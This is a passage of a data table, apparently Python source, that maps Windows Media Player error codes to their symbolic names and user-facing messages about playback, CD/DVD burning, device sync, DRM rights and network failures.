0xC00D10BA: ("NS_E_WMPCORE_FILE_NOT_FOUND", "Windows Media Player cannot find the file. The link from the item in the library to its associated digital media file might be broken. To fix the problem, try repairing the link or removing the item from the library."),
0xC00D10BB: ("NS_E_WMPCORE_TEMP_FILE_NOT_FOUND", "The temporary file was not found."),
0xC00D10BC: ("NS_E_WMDM_REVOKED", "Windows Media Player cannot sync the file because the device needs to be updated."),
0xC00D10BD: ("NS_E_DDRAW_GENERIC", "Windows Media Player cannot play the video because there is a problem with your video card."),
0xC00D10BE: ("NS_E_DISPLAY_MODE_CHANGE_FAILED", "Windows Media Player failed to change the screen mode for full-screen video playback."),
0xC00D10BF: ("NS_E_PLAYLIST_CONTAINS_ERRORS", "Windows Media Player cannot play one or more files. For additional information, right-click an item that cannot be played, and then click Error Details."),
0xC00D10C0: ("NS_E_CHANGING_PROXY_NAME", "Cannot change the proxy name if the proxy setting is not set to custom."),
0xC00D10C1: ("NS_E_CHANGING_PROXY_PORT", "Cannot change the proxy port if the proxy setting is not set to custom."),
0xC00D10C2: ("NS_E_CHANGING_PROXY_EXCEPTIONLIST", "Cannot change the proxy exception list if the proxy setting is not set to custom."),
0xC00D10C3: ("NS_E_CHANGING_PROXYBYPASS", "Cannot change the proxy bypass flag if the proxy setting is not set to custom."),
0xC00D10C4: ("NS_E_CHANGING_PROXY_PROTOCOL_NOT_FOUND", "Cannot find the specified protocol."),
0xC00D10C5: ("NS_E_GRAPH_NOAUDIOLANGUAGE", "Cannot change the language settings. Either the graph has no audio or the audio only supports one language."),
0xC00D10C6: ("NS_E_GRAPH_NOAUDIOLANGUAGESELECTED", "The graph has no audio language selected."),
0xC00D10C7: ("NS_E_CORECD_NOTAMEDIACD", "This is not a media CD."),
0xC00D10C8: ("NS_E_WMPCORE_MEDIA_URL_TOO_LONG", "Windows Media Player cannot play the file because the URL is too long."),
0xC00D10C9: ("NS_E_WMPFLASH_CANT_FIND_COM_SERVER", "To play the selected item, you must install the Macromedia Flash Player. To download the Macromedia Flash Player, go to the Adobe website."),
0xC00D10CA: ("NS_E_WMPFLASH_INCOMPATIBLEVERSION", "To play the selected item, you must install a later version of the Macromedia Flash Player. To download the Macromedia Flash Player, go to the Adobe website."),
0xC00D10CB: ("NS_E_WMPOCXGRAPH_IE_DISALLOWS_ACTIVEX_CONTROLS", "Windows Media Player cannot play the file because your Internet security settings prohibit the use of ActiveX controls."),
0xC00D10CC: ("NS_E_NEED_CORE_REFERENCE", "The use of this method requires an existing reference to the Player object."),
0xC00D10CD: ("NS_E_MEDIACD_READ_ERROR", "Windows Media Player cannot play the CD. The disc might be dirty or damaged."),
0xC00D10CE: ("NS_E_IE_DISALLOWS_ACTIVEX_CONTROLS", "Windows Media Player cannot play the file because your Internet security settings prohibit the use of ActiveX controls."),
0xC00D10CF: ("NS_E_FLASH_PLAYBACK_NOT_ALLOWED", "Flash playback has been turned off in Windows Media Player."),
0xC00D10D0: ("NS_E_UNABLE_TO_CREATE_RIP_LOCATION", "Windows Media Player cannot rip the CD because a valid rip location cannot be created."),
0xC00D10D1: ("NS_E_WMPCORE_SOME_CODECS_MISSING", "Windows Media Player cannot play the file because a required codec is not installed on your computer."),
0xC00D10D2: ("NS_E_WMP_RIP_FAILED", "Windows Media Player cannot rip one or more tracks from the CD."),
0xC00D10D3: ("NS_E_WMP_FAILED_TO_RIP_TRACK", "Windows Media Player encountered a problem while ripping the track from the CD. For additional assistance, click Web Help."),
0xC00D10D4: ("NS_E_WMP_ERASE_FAILED", "Windows Media Player encountered a problem while erasing the disc. For additional assistance, click Web Help."),
0xC00D10D5: ("NS_E_WMP_FORMAT_FAILED", "Windows Media Player encountered a problem while formatting the device. For additional assistance, click Web Help."),
0xC00D10D6: ("NS_E_WMP_CANNOT_BURN_NON_LOCAL_FILE", "This file cannot be burned to a CD because it is not located on your computer."),
0xC00D10D7: ("NS_E_WMP_FILE_TYPE_CANNOT_BURN_TO_AUDIO_CD", "It is not possible to burn this file type to an audio CD. Windows Media Player can burn the following file types to an audio CD: WMA, MP3, or WAV."),
0xC00D10D8: ("NS_E_WMP_FILE_DOES_NOT_FIT_ON_CD", "This file is too large to fit on a disc."),
0xC00D10D9: ("NS_E_WMP_FILE_NO_DURATION", "It is not possible to determine if this file can fit on a disc because Windows Media Player cannot detect the length of the file. Playing the file before burning may enable the Player to detect the file length."),
0xC00D10DA: ("NS_E_PDA_FAILED_TO_BURN", "Windows Media Player encountered a problem while burning the file to the disc. For additional assistance, click Web Help."),
0xC00D10DC: ("NS_E_FAILED_DOWNLOAD_ABORT_BURN", "Windows Media Player cannot burn the audio CD because some items in the list that you chose to buy could not be downloaded from the online store."),
0xC00D10DD: ("NS_E_WMPCORE_DEVICE_DRIVERS_MISSING", "Windows Media Player cannot play the file. Try using Windows Update or Device Manager to update the device drivers for your audio and video cards. For information about using Windows Update or Device Manager, see Windows Help."),
0xC00D1126: ("NS_E_WMPIM_USEROFFLINE", "Windows Media Player has detected that you are not connected to the Internet. Connect to the Internet, and then try again."),
0xC00D1127: ("NS_E_WMPIM_USERCANCELED", "The attempt to connect to the Internet was canceled."),
0xC00D1128: ("NS_E_WMPIM_DIALUPFAILED", "The attempt to connect to the Internet failed."),
0xC00D1129: ("NS_E_WINSOCK_ERROR_STRING", "Windows Media Player has encountered an unknown network error."),
0xC00D1130: ("NS_E_WMPBR_NOLISTENER", "No window is currently listening to Backup and Restore events."),
0xC00D1131: ("NS_E_WMPBR_BACKUPCANCEL", "Your media usage rights were not backed up because the backup was canceled."),
0xC00D1132: ("NS_E_WMPBR_RESTORECANCEL", "Your media usage rights were not restored because the restoration was canceled."),
0xC00D1133: ("NS_E_WMPBR_ERRORWITHURL", "An error occurred while backing up or restoring your media usage rights. A required web page cannot be displayed."),
0xC00D1134: ("NS_E_WMPBR_NAMECOLLISION", "Your media usage rights were not backed up because the backup was canceled."),
0xC00D1137: ("NS_E_WMPBR_DRIVE_INVALID", "Windows Media Player cannot restore your media usage rights from the specified location. Choose another location, and then try again."),
0xC00D1138: ("NS_E_WMPBR_BACKUPRESTOREFAILED", "Windows Media Player cannot backup or restore your media usage rights."),
0xC00D1158: ("NS_E_WMP_CONVERT_FILE_FAILED", "Windows Media Player cannot add the file to the library."),
0xC00D1159: ("NS_E_WMP_CONVERT_NO_RIGHTS_ERRORURL", "Windows Media Player cannot add the file to the library because the content provider prohibits it. For assistance, contact the company that provided the file."),
0xC00D115A: ("NS_E_WMP_CONVERT_NO_RIGHTS_NOERRORURL", "Windows Media Player cannot add the file to the library because the content provider prohibits it. For assistance, contact the company that provided the file."),
0xC00D115B: ("NS_E_WMP_CONVERT_FILE_CORRUPT", "Windows Media Player cannot add the file to the library. The file might not be valid."),
0xC00D115C: ("NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_ERRORURL", "Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, click Web Help to display the website of the company that provided the file."),
0xC00D115D: ("NS_E_WMP_CONVERT_PLUGIN_UNAVAILABLE_NOERRORURL", "Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, contact the company that provided the file."),
0xC00D115E: ("NS_E_WMP_CONVERT_PLUGIN_UNKNOWN_FILE_OWNER", "Windows Media Player cannot add the file to the library. The plug-in required to add the file is not installed properly. For assistance, contact the company that provided the file."),
0xC00D1160: ("NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_NS", "Windows Media Player cannot play this DVD. Try installing an updated driver for your video card or obtaining a newer video card."),
0xC00D1161: ("NS_E_DVD_DISC_COPY_PROTECT_OUTPUT_FAILED", "This DVD's resolution exceeds the maximum allowed by your component video outputs. Try reducing your screen resolution to 640 x 480, or turn off analog component outputs and use a VGA connection to your monitor."),
0xC00D1162: ("NS_E_DVD_NO_SUBPICTURE_STREAM", "Windows Media Player cannot display subtitles or highlights in DVD menus. Reinstall the DVD decoder or contact the DVD drive manufacturer to obtain an updated decoder."),
0xC00D1163: ("NS_E_DVD_COPY_PROTECT", "Windows Media Player cannot play this DVD because there is a problem with digital copy protection between your DVD drive, decoder, and video card. Try installing an updated driver for your video card."),
0xC00D1164: ("NS_E_DVD_AUTHORING_PROBLEM", "Windows Media Player cannot play the DVD. The disc was created in a manner that the Player does not support."),
0xC00D1165: ("NS_E_DVD_INVALID_DISC_REGION", "Windows Media Player cannot play the DVD because the disc prohibits playback in your region of the world. You must obtain a disc that is intended for your geographic region."),
0xC00D1166: ("NS_E_DVD_COMPATIBLE_VIDEO_CARD", "Windows Media Player cannot play the DVD because your video card does not support DVD playback."),
0xC00D1167: ("NS_E_DVD_MACROVISION", "Windows Media Player cannot play this DVD because it is not possible to turn on analog copy protection on the output display. Try installing an updated driver for your video card."),
0xC00D1168: ("NS_E_DVD_SYSTEM_DECODER_REGION", "Windows Media Player cannot play the DVD because the region assigned to your DVD drive does not match the region assigned to your DVD decoder."),
0xC00D1169: ("NS_E_DVD_DISC_DECODER_REGION", "Windows Media Player cannot play the DVD because the disc prohibits playback in your region of the world. You must obtain a disc that is intended for your geographic region."),
0xC00D116A: ("NS_E_DVD_NO_VIDEO_STREAM", "Windows Media Player cannot play DVD video. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try lowering your screen resolution and color quality settings."),
0xC00D116B: ("NS_E_DVD_NO_AUDIO_STREAM", "Windows Media Player cannot play DVD audio. Verify that your sound card is set up correctly, and then try again."),
0xC00D116C: ("NS_E_DVD_GRAPH_BUILDING", "Windows Media Player cannot play DVD video. Close any open files and quit any other programs, and then try again. If the problem persists, restart your computer."),
0xC00D116D: ("NS_E_DVD_NO_DECODER", "Windows Media Player cannot play the DVD because a compatible DVD decoder is not installed on your computer."),
0xC00D116E: ("NS_E_DVD_PARENTAL", "Windows Media Player cannot play the scene because it has a parental rating higher than the rating that you are authorized to view."),
0xC00D116F: ("NS_E_DVD_CANNOT_JUMP", "Windows Media Player cannot skip to the requested location on the DVD."),
0xC00D1170: ("NS_E_DVD_DEVICE_CONTENTION", "Windows Media Player cannot play the DVD because it is currently in use by another program. Quit the other program that is using the DVD, and then try again."),
0xC00D1171: ("NS_E_DVD_NO_VIDEO_MEMORY", "Windows Media Player cannot play DVD video. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try lowering your screen resolution and color quality settings."),
0xC00D1172: ("NS_E_DVD_CANNOT_COPY_PROTECTED", "Windows Media Player cannot rip the DVD because it is copy protected."),
0xC00D1173: ("NS_E_DVD_REQUIRED_PROPERTY_NOT_SET", "One of more of the required properties has not been set."),
0xC00D1174: ("NS_E_DVD_INVALID_TITLE_CHAPTER", "The specified title and/or chapter number does not exist on this DVD."),
0xC00D1176: ("NS_E_NO_CD_BURNER", "Windows Media Player cannot burn the files because the Player cannot find a burner. If the burner is connected properly, try using Windows Update to install the latest device driver."),
0xC00D1177: ("NS_E_DEVICE_IS_NOT_READY", "Windows Media Player does not detect storage media in the selected device. Insert storage media into the device, and then try again."),
0xC00D1178: ("NS_E_PDA_UNSUPPORTED_FORMAT", "Windows Media Player cannot sync this file. The Player might not support the file type."),
0xC00D1179: ("NS_E_NO_PDA", "Windows Media Player does not detect a portable device. Connect your portable device, and then try again."),
0xC00D117A: ("NS_E_PDA_UNSPECIFIED_ERROR", "Windows Media Player encountered an error while communicating with the device. The storage card on the device might be full, the device might be turned off, or the device might not allow playlists or folders to be created on it."),
0xC00D117B: ("NS_E_MEMSTORAGE_BAD_DATA", "Windows Media Player encountered an error while burning a CD."),
0xC00D117C: ("NS_E_PDA_FAIL_SELECT_DEVICE", "Windows Media Player encountered an error while communicating with a portable device or CD drive."),
0xC00D117D: ("NS_E_PDA_FAIL_READ_WAVE_FILE", "Windows Media Player cannot open the WAV file."),
0xC00D117E: ("NS_E_IMAPI_LOSSOFSTREAMING", "Windows Media Player failed to burn all the files to the CD. Select a slower recording speed, and then try again."),
0xC00D117F: ("NS_E_PDA_DEVICE_FULL", "There is not enough storage space on the portable device to complete this operation. Delete some unneeded files on the portable device, and then try again."),
0xC00D1180: ("NS_E_FAIL_LAUNCH_ROXIO_PLUGIN", "Windows Media Player cannot burn the files. Verify that your burner is connected properly, and then try again. If the problem persists, reinstall the Player."),
0xC00D1181: ("NS_E_PDA_DEVICE_FULL_IN_SESSION", "Windows Media Player did not sync some files to the device because there is not enough storage space on the device."),
0xC00D1182: ("NS_E_IMAPI_MEDIUM_INVALIDTYPE", "The disc in the burner is not valid. Insert a blank disc into the burner, and then try again."),
0xC00D1183: ("NS_E_PDA_MANUALDEVICE", "Windows Media Player cannot perform the requested action because the device does not support sync."),
0xC00D1184: ("NS_E_PDA_PARTNERSHIPNOTEXIST", "To perform the requested action, you must first set up sync with the device."),
0xC00D1185: ("NS_E_PDA_CANNOT_CREATE_ADDITIONAL_SYNC_RELATIONSHIP", "You have already created sync partnerships with 16 devices. To create a new sync partnership, you must first end an existing partnership."),
0xC00D1186: ("NS_E_PDA_NO_TRANSCODE_OF_DRM", "Windows Media Player cannot sync the file because protected files cannot be converted to the required quality level or file format."),
0xC00D1187: ("NS_E_PDA_TRANSCODECACHEFULL", "The folder that stores converted files is full. Either empty the folder or increase its size, and then try again."),
0xC00D1188: ("NS_E_PDA_TOO_MANY_FILE_COLLISIONS", "There are too many files with the same name in the folder on the device. Change the file name or sync to a different folder."),
0xC00D1189: ("NS_E_PDA_CANNOT_TRANSCODE", "Windows Media Player cannot convert the file to the format required by the device."),
0xC00D118A: ("NS_E_PDA_TOO_MANY_FILES_IN_DIRECTORY", "You have reached the maximum number of files your device allows in a folder. If your device supports playback from subfolders, try creating subfolders on the device and storing some files in them."),
0xC00D118B: ("NS_E_PROCESSINGSHOWSYNCWIZARD", "Windows Media Player is already trying to start the Device Setup Wizard."),
0xC00D118C: ("NS_E_PDA_TRANSCODE_NOT_PERMITTED", "Windows Media Player cannot convert this file format. If an updated version of the codec used to compress this file is available, install it and then try to sync the file again."),
0xC00D118D: ("NS_E_PDA_INITIALIZINGDEVICES", "Windows Media Player is busy setting up devices. Try again later."),
0xC00D118E: ("NS_E_PDA_OBSOLETE_SP", "Your device is using an outdated driver that is no longer supported by Windows Media Player. For additional assistance, click Web Help."),
0xC00D118F: ("NS_E_PDA_TITLE_COLLISION", "Windows Media Player cannot sync the file because a file with the same name already exists on the device. Change the file name or try to sync the file to a different folder."),
0xC00D1190: ("NS_E_PDA_DEVICESUPPORTDISABLED", "Automatic and manual sync have been turned off temporarily. To sync to a device, restart Windows Media Player."),
0xC00D1191: ("NS_E_PDA_NO_LONGER_AVAILABLE", "This device is not available. Connect the device to the computer, and then try again."),
0xC00D1192: ("NS_E_PDA_ENCODER_NOT_RESPONDING", "Windows Media Player cannot sync the file because an error occurred while converting the file to another quality level or format. If the problem persists, remove the file from the list of files to sync."),
0xC00D1193: ("NS_E_PDA_CANNOT_SYNC_FROM_LOCATION", "Windows Media Player cannot sync the file to your device. The file might be stored in a location that is not supported. Copy the file from its current location to your hard disk, add it to your library, and then try to sync the file again."),
0xC00D1194: ("NS_E_WMP_PROTOCOL_PROBLEM", "Windows Media Player cannot open the specified URL. Verify that the Player is configured to use all available protocols, and then try again."),
0xC00D1195: ("NS_E_WMP_NO_DISK_SPACE", "Windows Media Player cannot perform the requested action because there is not enough storage space on your computer. Delete some unneeded files on your hard disk, and then try again."),
0xC00D1196: ("NS_E_WMP_LOGON_FAILURE", "The server denied access to the file. Verify that you are using the correct user name and password."),
0xC00D1197: ("NS_E_WMP_CANNOT_FIND_FILE", "Windows Media Player cannot find the file. If you are trying to play, burn, or sync an item that is in your library, the item might point to a file that has been moved, renamed, or deleted."),
0xC00D1198: ("NS_E_WMP_SERVER_INACCESSIBLE", "Windows Media Player cannot connect to the server. The server name might not be correct, the server might not be available, or your proxy settings might not be correct."),
0xC00D1199: ("NS_E_WMP_UNSUPPORTED_FORMAT", "Windows Media Player cannot play the file. The Player might not support the file type or might not support the codec that was used to compress the file."),
0xC00D119A: ("NS_E_WMP_DSHOW_UNSUPPORTED_FORMAT", "Windows Media Player cannot play the file. The Player might not support the file type or a required codec might not be installed on your computer."),
0xC00D119B: ("NS_E_WMP_PLAYLIST_EXISTS", "Windows Media Player cannot create the playlist because the name already exists. Type a different playlist name."),
0xC00D119C: ("NS_E_WMP_NONMEDIA_FILES", "Windows Media Player cannot delete the playlist because it contains items that are not digital media files. Any digital media files in the playlist were deleted."),
0xC00D119D: ("NS_E_WMP_INVALID_ASX", "The playlist cannot be opened because it is stored in a shared folder on another computer. If possible, move the playlist to the playlists folder on your computer."),
0xC00D119E: ("NS_E_WMP_ALREADY_IN_USE", "Windows Media Player is already in use. Stop playing any items, close all Player dialog boxes, and then try again."),
0xC00D119F: ("NS_E_WMP_IMAPI_FAILURE", "Windows Media Player encountered an error while burning. Verify that the burner is connected properly and that the disc is clean and not damaged."),
0xC00D11A0: ("NS_E_WMP_WMDM_FAILURE", "Windows Media Player has encountered an unknown error with your portable device. Reconnect your portable device, and then try again."),
0xC00D11A1: ("NS_E_WMP_CODEC_NEEDED_WITH_4CC", "A codec is required to play this file. To determine if this codec is available to download from the web, click Web Help."),
0xC00D11A2: ("NS_E_WMP_CODEC_NEEDED_WITH_FORMATTAG", "An audio codec is needed to play this file. To determine if this codec is available to download from the web, click Web Help."),
0xC00D11A3: ("NS_E_WMP_MSSAP_NOT_AVAILABLE", "To play the file, you must install the latest Windows service pack. To install the service pack from the Windows Update website, click Web Help."),
0xC00D11A4: ("NS_E_WMP_WMDM_INTERFACEDEAD", "Windows Media Player no longer detects a portable device. Reconnect your portable device, and then try again."),
0xC00D11A5: ("NS_E_WMP_WMDM_NOTCERTIFIED", "Windows Media Player cannot sync the file because the portable device does not support protected files."),
0xC00D11A6: ("NS_E_WMP_WMDM_LICENSE_NOTEXIST", "This file does not have sync rights. If you obtained this file from an online store, go to the online store to get sync rights."),
0xC00D11A7: ("NS_E_WMP_WMDM_LICENSE_EXPIRED", "Windows Media Player cannot sync the file because the sync rights have expired. Go to the content provider's online store to get new sync rights."),
0xC00D11A8: ("NS_E_WMP_WMDM_BUSY", "The portable device is already in use. Wait until the current task finishes or quit other programs that might be using the portable device, and then try again."),
0xC00D11A9: ("NS_E_WMP_WMDM_NORIGHTS", "Windows Media Player cannot sync the file because the content provider or device prohibits it. You might be able to resolve this problem by going to the content provider's online store to get sync rights."),
0xC00D11AA: ("NS_E_WMP_WMDM_INCORRECT_RIGHTS", "The content provider has not granted you the right to sync this file. Go to the content provider's online store to get sync rights."),
0xC00D11AB: ("NS_E_WMP_IMAPI_GENERIC", "Windows Media Player cannot burn the files to the CD. Verify that the disc is clean and not damaged. If necessary, select a slower recording speed or try a different brand of blank discs."),
0xC00D11AD: ("NS_E_WMP_IMAPI_DEVICE_NOTPRESENT", "Windows Media Player cannot burn the files. Verify that the burner is connected properly, and then try again."),
0xC00D11AE: ("NS_E_WMP_IMAPI_DEVICE_BUSY", "Windows Media Player cannot burn the files. Verify that the burner is connected properly and that the disc is clean and not damaged. If the burner is already in use, wait until the current task finishes or quit other programs that might be using the burner."),
0xC00D11AF: ("NS_E_WMP_IMAPI_LOSS_OF_STREAMING", "Windows Media Player cannot burn the files to the CD."),
0xC00D11B0: ("NS_E_WMP_SERVER_UNAVAILABLE", "Windows Media Player cannot play the file. The server might not be available or there might be a problem with your network or firewall settings."),
0xC00D11B1: ("NS_E_WMP_FILE_OPEN_FAILED", "Windows Media Player encountered a problem while playing the file. For additional assistance, click Web Help."),
0xC00D11B2: ("NS_E_WMP_VERIFY_ONLINE", "Windows Media Player must connect to the Internet to verify the file's media usage rights. Connect to the Internet, and then try again."),
0xC00D11B3: ("NS_E_WMP_SERVER_NOT_RESPONDING", "Windows Media Player cannot play the file because a network error occurred. The server might not be available. Verify that you are connected to the network and that your proxy settings are correct."),
0xC00D11B4: ("NS_E_WMP_DRM_CORRUPT_BACKUP", "Windows Media Player cannot restore your media usage rights because it could not find any backed up rights on your computer."),
0xC00D11B5: ("NS_E_WMP_DRM_LICENSE_SERVER_UNAVAILABLE", "Windows Media Player cannot download media usage rights because the server is not available (for example, the server might be busy or not online)."),
0xC00D11B6: ("NS_E_WMP_NETWORK_FIREWALL", "Windows Media Player cannot play the file. A network firewall might be preventing the Player from opening the file by using the UDP transport protocol. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \"http:\")."),
0xC00D11B7: ("NS_E_WMP_NO_REMOVABLE_MEDIA", "Insert the removable media, and then try again."),
0xC00D11B8: ("NS_E_WMP_PROXY_CONNECT_TIMEOUT", "Windows Media Player cannot play the file because the proxy server is not responding. The proxy server might be temporarily unavailable or your Player proxy settings might not be valid."),
0xC00D11B9: ("NS_E_WMP_NEED_UPGRADE", "To play the file, you might need to install a later version of Windows Media Player. On the Help menu, click Check for Updates, and then follow the instructions. For additional assistance, click Web Help."),
0xC00D11BA: ("NS_E_WMP_AUDIO_HW_PROBLEM", "Windows Media Player cannot play the file because there is a problem with your sound device. There might not be a sound device installed on your computer, it might be in use by another program, or it might not be functioning properly."),
0xC00D11BB: ("NS_E_WMP_INVALID_PROTOCOL", "Windows Media Player cannot play the file because the specified protocol is not supported. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \"http:\" or \"rtsp:\")."),
0xC00D11BC: ("NS_E_WMP_INVALID_LIBRARY_ADD", "Windows Media Player cannot add the file to the library because the file format is not supported."),
0xC00D11BD: ("NS_E_WMP_MMS_NOT_SUPPORTED", "Windows Media Player cannot play the file because the specified protocol is not supported. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \"mms:\")."),
0xC00D11BE: ("NS_E_WMP_NO_PROTOCOLS_SELECTED", "Windows Media Player cannot play the file because there are no streaming protocols selected. Select one or more protocols, and then try again."),
0xC00D11BF: ("NS_E_WMP_GOFULLSCREEN_FAILED", "Windows Media Player cannot switch to Full Screen. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try setting Hardware acceleration to Full."),
0xC00D11C0: ("NS_E_WMP_NETWORK_ERROR", "Windows Media Player cannot play the file because a network error occurred. The server might not be available (for example, the server is busy or not online) or you might not be connected to the network."),
0xC00D11C1: ("NS_E_WMP_CONNECT_TIMEOUT", "Windows Media Player cannot play the file because the server is not responding. Verify that you are connected to the network, and then try again later."),
0xC00D11C2: ("NS_E_WMP_MULTICAST_DISABLED", "Windows Media Player cannot play the file because the multicast protocol is not enabled. On the Tools menu, click Options, click the Network tab, and then select the Multicast check box. For additional assistance, click Web Help."),
0xC00D11C3: ("NS_E_WMP_SERVER_DNS_TIMEOUT", "Windows Media Player cannot play the file because a network problem occurred. Verify that you are connected to the network, and then try again later."),
0xC00D11C4: ("NS_E_WMP_PROXY_NOT_FOUND", "Windows Media Player cannot play the file because the network proxy server cannot be found. Verify that your proxy settings are correct, and then try again."),
0xC00D11C5: ("NS_E_WMP_TAMPERED_CONTENT", "Windows Media Player cannot play the file because it is corrupted."),
0xC00D11C6: ("NS_E_WMP_OUTOFMEMORY", "Your computer is running low on memory. Quit other programs, and then try again."),
0xC00D11C7: ("NS_E_WMP_AUDIO_CODEC_NOT_INSTALLED", "Windows Media Player cannot play, burn, rip, or sync the file because a required audio codec is not installed on your computer."),
0xC00D11C8: ("NS_E_WMP_VIDEO_CODEC_NOT_INSTALLED", "Windows Media Player cannot play the file because the required video codec is not installed on your computer."),
0xC00D11C9: ("NS_E_WMP_IMAPI_DEVICE_INVALIDTYPE", "Windows Media Player cannot burn the files. If the burner is busy, wait for the current task to finish. If necessary, verify that the burner is connected properly and that you have installed the latest device driver."),
0xC00D11CA: ("NS_E_WMP_DRM_DRIVER_AUTH_FAILURE", "Windows Media Player cannot play the protected file because there is a problem with your sound device. Try installing a new device driver or use a different sound device."),
0xC00D11CB: ("NS_E_WMP_NETWORK_RESOURCE_FAILURE", "Windows Media Player encountered a network error. Restart the Player."),
0xC00D11CC: ("NS_E_WMP_UPGRADE_APPLICATION", "Windows Media Player is not installed properly. Reinstall the Player."),
0xC00D11CD: ("NS_E_WMP_UNKNOWN_ERROR", "Windows Media Player encountered an unknown error. For additional assistance, click Web Help."),
0xC00D11CE: ("NS_E_WMP_INVALID_KEY", "Windows Media Player cannot play the file because the required codec is not valid."),
0xC00D11CF: ("NS_E_WMP_CD_ANOTHER_USER", "The CD drive is in use by another user. Wait for the task to complete, and then try again."),
0xC00D11D0: ("NS_E_WMP_DRM_NEEDS_AUTHORIZATION", "Windows Media Player cannot play, sync, or burn the protected file because a problem occurred with the Windows Media Digital Rights Management (DRM) system. You might need to connect to the Internet to update your DRM components. For additional assistance, click Web Help."),
0xC00D11D1: ("NS_E_WMP_BAD_DRIVER", "Windows Media Player cannot play the file because there might be a problem with your sound or video device. Try installing an updated device driver."),
0xC00D11D2: ("NS_E_WMP_ACCESS_DENIED", "Windows Media Player cannot access the file. The file might be in use, you might not have access to the computer where the file is stored, or your proxy settings might not be correct."),
0xC00D11D3: ("NS_E_WMP_LICENSE_RESTRICTS", "The content provider prohibits this action. Go to the content provider's online store to get new media usage rights."),
0xC00D11D4: ("NS_E_WMP_INVALID_REQUEST", "Windows Media Player cannot perform the requested action at this time."),
0xC00D11D5: ("NS_E_WMP_CD_STASH_NO_SPACE", "Windows Media Player cannot burn the files because there is not enough free disk space to store the temporary files. Delete some unneeded files on your hard disk, and then try again."),
0xC00D11D6: ("NS_E_WMP_DRM_NEW_HARDWARE", "Your media usage rights have become corrupted or are no longer valid. This might happen if you have replaced hardware components in your computer."),
0xC00D11D7: ("NS_E_WMP_DRM_INVALID_SIG", "The required Windows Media Digital Rights Management (DRM) component cannot be validated. You might be able resolve the problem by reinstalling the Player."),
0xC00D11D8: ("NS_E_WMP_DRM_CANNOT_RESTORE", "You have exceeded your restore limit for the day. Try restoring your media usage rights tomorrow."),
0xC00D11D9: ("NS_E_WMP_BURN_DISC_OVERFLOW", "Some files might not fit on the CD. The required space cannot be calculated accurately because some files might be missing duration information. To ensure the calculation is accurate, play the files that are missing duration information."),
0xC00D11DA: ("NS_E_WMP_DRM_GENERIC_LICENSE_FAILURE", "Windows Media Player cannot verify the file's media usage rights. If you obtained this file from an online store, go to the online store to get the necessary rights."),
0xC00D11DB: ("NS_E_WMP_DRM_NO_SECURE_CLOCK", "It is not possible to sync because this device's internal clock is not set correctly. To set the clock, select the option to set the device clock on the Privacy tab of the Options dialog box, connect to the Internet, and then sync the device again. For additional assistance, click Web Help."),
0xC00D11DC: ("NS_E_WMP_DRM_NO_RIGHTS", "Windows Media Player cannot play, burn, rip, or sync the protected file because you do not have the appropriate rights."),
0xC00D11DD: ("NS_E_WMP_DRM_INDIV_FAILED", "Windows Media Player encountered an error during upgrade."),
0xC00D11DE: ("NS_E_WMP_SERVER_NONEWCONNECTIONS", "Windows Media Player cannot connect to the server because it is not accepting any new connections. This could be because it has reached its maximum connection limit. Please try again later."),
0xC00D11DF: ("NS_E_WMP_MULTIPLE_ERROR_IN_PLAYLIST", "A number of queued files cannot be played. To find information about the problem, click the Now Playing tab, and then click the icon next to each file in the List pane."),
0xC00D11E0: ("NS_E_WMP_IMAPI2_ERASE_FAIL", "Windows Media Player encountered an error while erasing the rewritable CD or DVD. Verify that the CD or DVD burner is connected properly and that the disc is clean and not damaged."),
0xC00D11E1: ("NS_E_WMP_IMAPI2_ERASE_DEVICE_BUSY", "Windows Media Player cannot erase the rewritable CD or DVD. Verify that the CD or DVD burner is connected properly and that the disc is clean and not damaged. If the burner is already in use, wait until the current task finishes or quit other programs that might be using the burner."),
0xC00D11E2: ("NS_E_WMP_DRM_COMPONENT_FAILURE", "A Windows Media Digital Rights Management (DRM) component encountered a problem. If you are trying to use a file that you obtained from an online store, try going to the online store and getting the appropriate usage rights."),
0xC00D11E3: ("NS_E_WMP_DRM_NO_DEVICE_CERT", "It is not possible to obtain device's certificate. Please contact the device manufacturer for a firmware update or for other steps to resolve this problem."),
0xC00D11E4: ("NS_E_WMP_SERVER_SECURITY_ERROR", "Windows Media Player encountered an error when connecting to the server. The security information from the server could not be validated."),
0xC00D11E5: ("NS_E_WMP_AUDIO_DEVICE_LOST", "An audio device was disconnected or reconfigured. Verify that the audio device is connected, and then try to play the item again."),
0xC00D11E6: ("NS_E_WMP_IMAPI_MEDIA_INCOMPATIBLE", "Windows Media Player could not complete burning because the disc is not compatible with your drive. Try inserting a different kind of recordable media or use a disc that supports a write speed that is compatible with your drive."),
0xC00D11EE: ("NS_E_SYNCWIZ_DEVICE_FULL", "Windows Media Player cannot save the sync settings because your device is full. Delete some unneeded files on your device and then try again."),
0xC00D11EF: ("NS_E_SYNCWIZ_CANNOT_CHANGE_SETTINGS", "It is not possible to change sync settings at this time. Try again later."),
0xC00D11F0: ("NS_E_TRANSCODE_DELETECACHEERROR", "Windows Media Player cannot delete these files currently. If the Player is synchronizing, wait until it is complete and then try again."),
0xC00D11F8: ("NS_E_CD_NO_BUFFERS_READ", "Windows Media Player could not use digital mode to read the CD. The Player has automatically switched the CD drive to analog mode. To switch back to digital mode, use the Devices tab. For additional assistance, click Web Help."),
0xC00D11F9: ("NS_E_CD_EMPTY_TRACK_QUEUE", "No CD track was specified for playback."),
0xC00D11FA: ("NS_E_CD_NO_READER", "The CD filter was not able to create the CD reader."),
0xC00D11FB: ("NS_E_CD_ISRC_INVALID", "Invalid ISRC code."),
0xC00D11FC: ("NS_E_CD_MEDIA_CATALOG_NUMBER_INVALID", "Invalid Media Catalog Number."),
0xC00D11FD: ("NS_E_SLOW_READ_DIGITAL_WITH_ERRORCORRECTION", "Windows Media Player cannot play audio CDs correctly because the CD drive is slow and error correction is turned on. To increase performance, turn off playback error correction for this drive."),
0xC00D11FE: ("NS_E_CD_SPEEDDETECT_NOT_ENOUGH_READS", "Windows Media Player cannot estimate the CD drive's playback speed because the CD track is too short."),
